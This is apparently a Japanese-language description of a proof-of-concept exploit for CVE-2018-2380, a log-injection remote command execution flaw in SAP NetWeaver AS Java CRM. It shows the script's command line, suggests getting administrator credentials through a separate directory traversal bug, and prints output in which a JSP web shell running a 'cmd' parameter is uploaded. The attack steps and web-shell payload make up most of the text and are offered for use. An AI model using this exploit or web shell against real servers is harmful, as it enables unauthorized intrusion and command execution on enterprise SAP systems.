
SAP NetWeaver AS JAVA CRM 上のログインジェクションを介したリモートコマンド実行のPoC
SAP NetWeaver AS JAVA CRM上のログインジェクションを介したリモートコマンド実行のPoC スクリプト使用例
python crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
ここで --host はSAPサーバーのIP --port SAP NetWeaver AS Javaのポート SAP管理者のユーザー名とパスワードは、SAP Redwoodディレクトリトラバーサル脆弱性を使用して取得できます。
スクリプト使用例の出力
C:\exploits\SAP>crm_rce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true
_______ _______ _______ _______ _______ _______ _
( ____ \( ____ )( ____ )( ____ \( ____ \( ___ )( ( /|
| ( \/| ( )|| ( )|| ( \/| ( \/| ( ) || \ ( |
| (__ | (____)|| (____)|| (_____ | | | (___) || \ | |
| __) | __)| _____)(_____ )| | | ___ || (\ \) |
| ( | (\ ( | ( ) || | | ( ) || | \ |
| (____/\| ) \ \__| ) /\____) || (____/\| ) ( || ) \ |
(_______/|/ \__/|/ \_______)(_______/|/ \||/ )_)
Vahagn @vah_13 Vardanian
Bob @NewFranny
Mathieu @gelim
CVE-2018-2380
[!] ログインジェクションを使用してRCEを取得しようとしています
[!] リクエスト用の j_salt トークンを取得しています
[!] SAPポータルにログインしています
[!] ログパスを変更しています
[!] "Runtime.getRuntime().exec(request.getParameter("cmd")) " シェルを https://127.0.0.1:50001/ERPScan_shell_31275.0.jsp?cmd=ipconfig にアップロードしています
[!] ログパスを ./default_log_name.log に復元しています
[!] お楽しみください!
C:\exploits\SAP>